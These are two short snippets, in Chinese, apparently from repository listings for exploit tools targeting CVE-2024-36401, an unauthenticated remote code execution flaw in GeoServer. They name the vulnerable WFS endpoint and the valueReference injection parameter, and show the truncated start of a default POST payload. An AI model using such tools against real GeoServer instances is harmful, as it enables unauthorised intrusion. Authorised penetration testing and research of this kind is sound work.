geoserver-

geoserver CVE-2024-36401 漏洞利用工具 geoserver CVE-2024-36401 环境：JDK8 声明：仅用于授权测试，用户滥用造成的一切后果和作者无关 请遵守法律法规！ 1，默认payload: POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip,...

CVE-2024-36401-poc

CVE-2024-36401 — GeoServer OGC XPath 注入 RCE 针对 GeoServer 的未认证远程代码执行漏洞利用，通过 OGC 过滤器 valueReference 参数注入（XPath/JXPath 求值）。 免责声明： 此工具仅用于授权的渗透测试和安全研究。不得在未经明确书面许可的情况下对不属于您的系统使用。作者不对因使用此工具而导致的误用或损害承担任何责任。 目录 概述 受影响版本 技术细节 环境要求 安装 使用方法 示例 工作原理 故障排除 参考资料...